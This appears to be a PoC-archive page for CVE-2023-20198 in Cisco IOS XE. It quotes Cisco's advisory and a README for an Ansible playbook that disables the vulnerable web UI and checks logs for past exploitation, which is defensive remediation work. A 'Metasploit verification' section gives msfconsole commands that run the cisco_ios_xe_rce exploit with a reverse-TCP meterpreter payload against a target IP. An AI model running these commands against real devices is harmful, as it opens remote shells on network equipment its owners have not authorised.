Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-20198 PoC — Cisco IOS XE Software 安全漏洞

Source
Associated Vulnerability
Title:Cisco IOS XE Software 安全漏洞 (CVE-2023-20198)
Description:Cisco is providing an update for the ongoing investigation into observed exploitation of the web UI feature in Cisco IOS XE Software. We are updating the list of fixed releases and adding the Software Checker. Our investigation has determined that the actors exploited two previously unknown issues. The attacker first exploited CVE-2023-20198 to gain initial access and issued a privilege 15 command to create a local user and password combination. This allowed the user to log in with normal user access. The attacker then exploited another component of the web UI feature, leveraging the new local user to elevate privilege to root and write the implant to the file system. Cisco has assigned CVE-2023-20273 to this issue. CVE-2023-20198 has been assigned a CVSS Score of 10.0. CVE-2023-20273 has been assigned a CVSS Score of 7.2. Both of these CVEs are being tracked by CSCwh87343.
Description
Check for and remediate conditions that make an IOS-XE device vulnerable to CVE-2023-20198
Readme
# CVE-2023-20198-Fix

This repository contains an Ansible playbook for remediating the CVE-2023-20198 vulnerability found in certain Cisco devices.

It does the following:
1. Checks if the web service is running on the router by checking for the associated commands in the running config
2. Disables the web service if running
3. Saves the configuration if changed
4. Checks the logs for signs of previous exploitation

---

## Directory Structure:
``` bash
CVE-2023-20198-Fix/
│
├── ansible.cfg            # Ansible configuration file
├── group_vars/            # Directory for variables specific to groups of hosts
│   └── iosxe_devices.yml  # Variable definitions for IOS-XE devices
├── inventory.yml          # Inventory of hosts, including devices to target
└── remediate.yml          # Playbook for remediating CVE-2023-20198
```

## Getting Started
### Prerequisites
Ensure you have Ansible installed on your control machine. This playbook was written for Ansible 2.9 or newer.

### Setup
Configure Ansible:
Edit ansible.cfg to match your environment settings.

### Inventory:
Update inventory.yml with the host details of your IOS-XE devices. 

### Variables:
Define any necessary variables in group_vars/iosxe_devices.yml. This should include any common settings for your IOS-XE devices, such as connection settings and credentials.

### Adding Hosts to Inventory
To add a new IOS-XE device to the inventory, edit the inventory.yml file and append the new host under the appropriate group:

```yaml
iosxe_devices:
  hosts:
    vulnerable_router01:
      ansible_host: 192.168.1.3
      # ... other necessary variables
```

Replace new_router01 with your device's hostname and the ansible_* variables with the actual values for your device.

### Updating Group Variables
If you need to update credentials or other settings for the group of IOS-XE devices, edit the group_vars/iosxe_devices.yml file:

```yaml
---
ansible_network_os: ios
ansible_connection: network_cli
ansible_user: admin
ansible_password: admin_password            # Lab use only, store credentials responsibly!
ansible_become_method: enable
ansible_become_password: admin_password     # Lab use only, store credentials responsibly!
# ... other variables
```


## Running the Playbook
To execute the playbook, use the following command:

```bash
ansible-playbook remediate.yml -i inventory.yml
```


---

## Metasploit verification

### MSF6 Commands

``` bash
use exploit/linux/misc/cisco_ios_xe_rce
set RHOST 192.168.10.242     # Your target IP
set target 1
set payload cmd/unix/python/meterpreter/reverse_tcp
check
exploit
```

### Pre Remediation check

![Before](/docs/kali_0.PNG)

### Playbook Run
 
![run](/docs/ansible-playbook_run.PNG)

### Post Remediation check

![Before](/docs/kali_1.PNG)


## Testing
Always test your changes in a controlled environment before running the playbook in production.

## Security
Store sensitive data such as passwords and secret keys using Ansible Vault. Do not store plaintext credentials in your inventory or group_vars files.

For additional security measures and best practices, consult [Ansible's official documentation](https://docs.ansible.com/ansible/latest/index.html).

Please replace all placeholder values with actual data that corresponds to your environment. This README assumes a basic familiarity with Ansible concepts such as inventory, variables, and running playbooks.
File Snapshot

[4.0K] /data/pocs/8c43708ec9f69f8c9c109be25234a86c8f6a31be ├── [ 38] ansible.cfg ├── [4.0K] docs │   ├── [153K] ansible-playbook_run.PNG │   ├── [258K] kali_0.PNG │   └── [209K] kali_1.PNG ├── [4.0K] group_vars │   └── [ 351] iosxe_devices.yml ├── [ 106] inventory.yml ├── [1.0K] LICENSE ├── [3.4K] README.md └── [1.4K] remediate.yml 2 directories, 9 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →